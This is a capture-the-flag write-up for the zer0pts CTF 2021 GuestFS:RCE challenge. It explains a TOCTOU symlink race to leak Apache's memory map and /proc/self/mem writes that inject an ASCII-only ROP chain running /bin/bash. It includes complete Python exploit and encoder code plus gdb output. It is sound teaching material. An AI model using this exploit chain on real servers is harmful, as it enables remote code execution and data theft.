# GuestFS:RCE - zer0pts CTF 2021 ###### tags: `zer0pts CTF 2021` ## Introduction This challenge is the second part of GuestFS. We got arbitrary existing file read/write primitive in GuestFS:AFR. ## Plan Since we have arbitrary (existing) file read/write primitive, it's pretty natural to abuse procfs. (Check GuestFS:AFR first if you haven't gained this primitive yet.) The hint gives us an importatnt information: ``` # echo 1 > /proc/sys/fs/suid_dumpable ``` This PHP application is working on apache2. Apache2 is, of couse, first run as root user and then drops its privilege to www-data. Linux doesn't allow such a process to access `/proc/self/mem` even after the process is forked. This is because `/proc/self/mem` may contain information of the original root user. However, calling `prctl` with `PR_SET_DUMPABLE` makes it possible. Instead of calling this, the admin can apply this to all the processes by writing "1" to `/proc/sys/fs/suid_dumpable`. So, this hint says "use /proc/self/mem." ## Exploitation ### Race Condition to Address Leak Some of you may think it's easy to leak the address from `/proc/self/maps` or so. However, `validate_bounds` function makes it hard. ```php function validate_bounds($path, $size, $offset) { $st = stat($path); if ($offset < 0) { throw new Exception('offset must be positive'); } if ($size < 0) { $size = $st['size'] - $offset; if ($size < 0) { throw new Exception('offset is larger than file size'); } } if ($size === 0) { throw new Exception('size must be greater than 0'); } if ($size + $offset > $st['size']) { throw new Exception('trying to read out of bound'); } return $size; } ``` This function checks the file size and doesn't allow out-of-bounds read. The size of most files in procfs is shown as zero by stat. ``` # stat /proc/self/maps File: /proc/self/maps Size: 0 Blocks: 0 IO Block: 1024 通常の空ファイル Device: 5h/5d Inode: 648610 Links: 1 Access: (0444/-r--r--r--) Uid: ( 0/ root) Gid: ( 0/ root) Access: 2020-10-02 14:57:00.798940473 +0900 Modify: 2020-10-02 14:57:00.798940473 +0900 Change: 2020-10-02 14:57:00.798940473 +0900 Birth: - ``` The point is that it uses the filepath both to check the file size and to open the file. Between these operations, we have enough time to change the contents of the file. ``` ... $size = $this->validate_bounds($this->root.$name, $size, $offset); /* Alleviate heavy disk load. */ usleep(500000); /* Read contents */ $fp = @fopen($this->root.$name, "r"); ... ``` So, the second vulnerability is TOCTOU. We can read `/proc/self/maps` by first pointing a symlink to a large file and second changing the link to `/proc/self/maps`. However, you can't simply abuse a symlink to cause TOCTOU. Apache by default uses MPM to parallelize the socket connection. It forks the parent process multiple times and creats children. If multiple connections are established at the same time, some of the children are used to handle the requests. The point here is that **MPM uses the same child process for the same PHP session**. So, we must use two sessions to cause the race condition. In this way we can leak the address of the apache process. ### Memory Corruption We can write data to any part of the apache binary, libraries, stack or wherever in the memory through `/proc/self/mem`. However, there's one problem. ```php /* Write contents */ $fp = @fopen($this->root.$name, "w"); @fseek($fp, $offset, SEEK_SET); @fwrite($fp, $data); @fclose($fp); ``` PHP opens the file in "write-text" mode and doesn't accept some unprintable characters. It converts some bytes into UTF-8 bytearrays. What we can write are the ascii characters(0x00-0x7F). I first came up with injecting an alphanumeric shellcode but it didn't work because alphanumeric shellcode assumes the shellcode region is both writable and executable. In this case, we can inject data through `/proc/self/mem` and there's no RWX region in apache process. My idea is to inject **ascii ROP chain writer** instead of ascii shellcode. ### Injection Point There are some ways to execute our shellcode. I chose `ap_unixd_accept` as the victim. ``` push r12 push rbp mov r12, rsi push rbx mov rbp, rdi sub rsp, 10h mov qword ptr [rdi], 0 mov rsi, [rsi+8] mov rdi, rsp mov rax, fs:28h mov [rsp+28h+var_20], rax xor eax, eax call _apr_socket_accept test eax, eax mov ebx, eax jz short loc_7BDB0 ``` I put my shellcode starting from the call instruction. This ensures that the registers hold the following constraints when our shellcode is executed. ``` rax == 0 rdi == rsp ``` `rax == 0` is very useful. ### ASCII ROP It's not that hard to write ASCII ROP. Contrary to the ordinal(?) alphanumeric shellcode, we can use whatever characters in [0x00, 0x7f]. What we need to use are only the following instructions. ``` 50: push rax 58: pop rax 52: push rdx 5a: pop rdx 51: push rcx 59: pop rcx 34 XX: xor al, imm8 30 44 24 XX: xor [rsp+imm8], al 6B 04 24 05: imul eax, [rsp], 5 ``` Basically, we push zero (rax) and xor it to create a desired value on stack. Assume that we want to push 0xdead1234. The following code can accomplish this only with ASCII characters. ``` /* (1) rdx=0, cl=0x80 */ push rax pop rdx xor al, 8 push rax imul eax, [rsp], 0x10 push rax pop rcx push rdx /* (2) write 0x34 */ push rdx pop rax xor al, 0x34 xor [rsp], al /* (3) write 0x12 */ push rdx pop rax xor al, 0x12 xor [rsp+1], al /* (4) write 0xad */ push rcx pop rax xor al, 0x2d xor [rsp+2], al /* (5) write 0xde */ push rcx pop rax xor al, 0x2d xor [rsp+3], al ``` After injecting the ROP chain, we just have to run "NOP" until RIP reaches to the nearest `ret` instruction on the binary. (Be noticed it's null terminated!) I wrote an encoder for this trick. ```python= from ptrlib import * elf = ELF("./apache2") def ascii_encode(proc_base): rop_xchg_eax_ebp = proc_base + 0x00054615 rop_pop_rdi = proc_base + 0x00037bd7 rop_pop_rsi = proc_base + 0x00038d16 rop_pop_rdx_rbx = proc_base + 0x00046eef rop_pop_rbp = proc_base + 0x0003713f rop_mov_prsi_rdi = proc_base + 0x0006e160 rop_syscall = proc_base + 0x0004662c addr_arg0 = proc_base # /bin/sh addr_arg1 = proc_base + 10 # -c addr_arg2 = proc_base + 13 # command addr_args = proc_base + elf.section(".bss") + 0x100 ropchain = [ # write args rop_pop_rsi, addr_args, rop_pop_rdi, addr_arg0, rop_mov_prsi_rdi, rop_pop_rsi, addr_args + 8, rop_pop_rdi, addr_arg1, rop_mov_prsi_rdi, rop_pop_rsi, addr_args + 0x10, rop_pop_rdi, addr_arg2, rop_mov_prsi_rdi, rop_pop_rsi, addr_args + 0x18, rop_pop_rdi, 0, rop_mov_prsi_rdi, # execve("/bin/bash", {"/bin/bash", "-c", "..."}) rop_pop_rdx_rbx, 0, 0, rop_pop_rsi, addr_args, rop_pop_rdi, addr_arg0, rop_pop_rbp, 59, rop_xchg_eax_ebp, rop_syscall ] encoder = [ # rdx=0x0, rcx=0x80 'push rax', 'pop rdx', 'xor al, 8', 'push rax', 'imul eax, [rsp], 0x10', 'push rax', 'pop rcx', ] for gadget in ropchain[::-1]: encoder += ['push rdx'] for i in range(8): v = (gadget >> (i * 8)) & 0xff if v == 0: continue if v >= 0x80: encoder += [ 'push rcx', 'pop rax', 'xor al, {}'.format(v ^ 0x80), 'xor [rsp+{}], al'.format(i) ] else: encoder += [ 'push rdx', 'pop rax', 'xor al, {}'.format(v), 'xor [rsp+{}], al'.format(i) ] binary = nasm('\n'.join(encoder), bits=64) if len(binary) % 2 != 0: binary += b'\x35\x44\x44\x44\x44' # xor eax, 0x44444444 binary += b'\x34\x77' * ((0x630 - len(binary)) // 2) # xor al, 0x77 return binary[:-1] # null termination ``` ### Test Let's check on gdb. ``` ► 0x5555555d0324 <__libc_csu_init+100> ret <0x555555558061> ↓ 0x555555558061 pop rsi 0x555555558062 ret ↓ 0x55555557c568 pop rdx 0x55555557c569 ret ↓ 0x5555555aad6d mov qword ptr [rsi], rdx 0x5555555aad70 ret ↓ 0x555555558061 pop rsi 0x555555558062 ret ↓ 0x55555557c568 pop rdx 0x55555557c569 ret ``` Continue. ``` ► 0x555555554ff0 syscall <SYS_execve> path: 0x555555554000 ◂— u'/bin/bash' argv: 0x5555557f7780 —▸ 0x555555554000 ◂— u'/bin/bash' envp: 0x0 pwndbg> x/4xg 0x5555557f7780 0x5555557f7780: 0x0000555555554000 0x000055555555400a 0x5555557f7790: 0x000055555555400d 0x0000000000000000 pwndbg> x/1s 0x0000555555554000 0x555555554000: "/bin/bash" pwndbg> x/1s 0x000055555555400a 0x55555555400a: "-c" pwndbg> x/1s 0x000055555555400d 0x55555555400d: "/bin/ls>/tmp/hoge1" ``` Yay! ## Exploit Chain the leak and memory corruption to win. ```python from ptrlib import * from encoder import ascii_encode import requests import threading import re import hashlib import time URL = "http://0.0.0.0:9080/" # We need 2 sessions because MPM uses one process per session r = requests.get(URL) cookies1 = r.cookies r = requests.get(URL) cookies2 = r.cookies dirname1 = hashlib.md5(cookies1['PHPSESSID'].encode()).hexdigest() dirname2 = hashlib.md5(cookies1['PHPSESSID'].encode()).hexdigest() def create(name, target=None, cookies=None): if cookies is None: cookies = cookies1 if target is None: r = requests.post(URL, data={'mode':'create', 'name':name}, cookies=cookies) else: r = requests.post(URL, data={'mode':'create', 'name':name, 'type':1, 'target':target}, cookies=cookies) return r def read(name, offset=0, size=-1, cookies=None): if cookies is None: cookies = cookies1 r = requests.post(URL, data={'mode':'read', 'name':name, 'offset':offset, 'size':size}, cookies=cookies) return r def write(name, data, offset=0, cookies=None): if cookies is None: cookies = cookies1 r = requests.post(URL, data={'mode':'write', 'name':name, 'offset':offset, 'data':data}, cookies=cookies) return r def delete(name, cookies=None): if cookies is None: cookies = cookies1 r = requests.post(URL, data={'mode':'delete', 'name':name}, cookies=cookies) return r proc_base = 0 win = False def reader(): global proc_base, win while True: print("b", end="", flush=True) r = read("evil", cookies=cookies2) if "r-xp" in r.text: break leak = re.findall("([0-9a-f]+)\-[0-9a-f]+ r\-\-p", r.text)[0] proc_base = int(leak, 16) win = True def linker(): global win while not win: print("a", end="", flush=True) delete("victim", cookies=cookies1) create("evil", "../../../../../../../../../../../../../proc/self/maps", cookies=cookies1) delete("victim", cookies=cookies1) create("evil", "../../../../../../../../../../../../../var/www/html/index.php", cookies=cookies1) # (1) Leak proc base create("victim", cookies=cookies1) create("middle", "victim", cookies=cookies1) create("evil", "middle", cookies=cookies1) create("evil", f"../{dirname1}/middle", cookies=cookies2) #""" t1 = threading.Thread(target=reader) t2 = threading.Thread(target=linker) t1.start() t2.start() t1.join() t2.join() """ proc_base = 0x5609e2c1d000 # you can fix it once you leak it as it's forked #""" logger.info("proc = " + hex(proc_base)) ap_unixd_accept_call = 0x7e67c # (2) Inject args for i in range(10): delete("victim", cookies=cookies1) create("evil", "../../../../../../../../../../../../../proc/self/mem", cookies=cookies1) offset = proc_base data = b'/bin/bash\0-c\0/bin/cat /flag*>/tmp/hogetaro' write("evil", data, offset, cookies=cookies1) time.sleep(1) # (3) ASCII ROP to win! offset = proc_base + ap_unixd_accept_call # ap_unixd_accept+0x2c data = ascii_encode(proc_base) write("evil", data, offset, cookies=cookies1) ``` Encoder: ```python= from ptrlib import * elf = ELF("./apache2") def ascii_encode(proc_base): rop_xchg_eax_ebp = proc_base + 0x00054615 rop_pop_rdi = proc_base + 0x00037bd7 rop_pop_rsi = proc_base + 0x00038d16 rop_pop_rdx_rbx = proc_base + 0x00046eef rop_pop_rbp = proc_base + 0x0003713f rop_mov_prsi_rdi = proc_base + 0x0006e170 rop_syscall = proc_base + 0x0004662c addr_arg0 = proc_base # /bin/sh addr_arg1 = proc_base + 10 # -c addr_arg2 = proc_base + 13 # command addr_args = proc_base + elf.section(".bss") + 0x100 ropchain = [ # write args rop_pop_rsi, addr_args, rop_pop_rdi, addr_arg0, rop_mov_prsi_rdi, rop_pop_rsi, addr_args + 8, rop_pop_rdi, addr_arg1, rop_mov_prsi_rdi, rop_pop_rsi, addr_args + 0x10, rop_pop_rdi, addr_arg2, rop_mov_prsi_rdi, rop_pop_rsi, addr_args + 0x18, rop_pop_rdi, 0, rop_mov_prsi_rdi, # execve("/bin/bash", {"/bin/bash", "-c", "..."}) rop_pop_rdx_rbx, 0, 0, rop_pop_rsi, addr_args, rop_pop_rdi, addr_arg0, rop_pop_rbp, 59, rop_xchg_eax_ebp, rop_syscall ] encoder = [ # rdx=0x0, rcx=0x80 'push rax', 'pop rdx', 'xor al, 8', 'push rax', 'imul eax, [rsp], 0x10', 'push rax', 'pop rcx', ] for gadget in ropchain[::-1]: encoder += ['push rdx'] for i in range(8): v = (gadget >> (i * 8)) & 0xff if v == 0: continue if v >= 0x80: encoder += [ 'push rcx', 'pop rax', 'xor al, {}'.format(v ^ 0x80), 'xor [rsp+{}], al'.format(i) ] else: encoder += [ 'push rdx', 'pop rax', 'xor al, {}'.format(v), 'xor [rsp+{}], al'.format(i) ] binary = nasm('\n'.join(encoder), bits=64) if len(binary) % 2 != 0: binary += b'\x35\x44\x44\x44\x44' # xor eax, 0x44444444 binary += b'\x34\x77' * ((0x630 - len(binary)) // 2) # xor al, 0x77 return binary[:-1] # null termination ```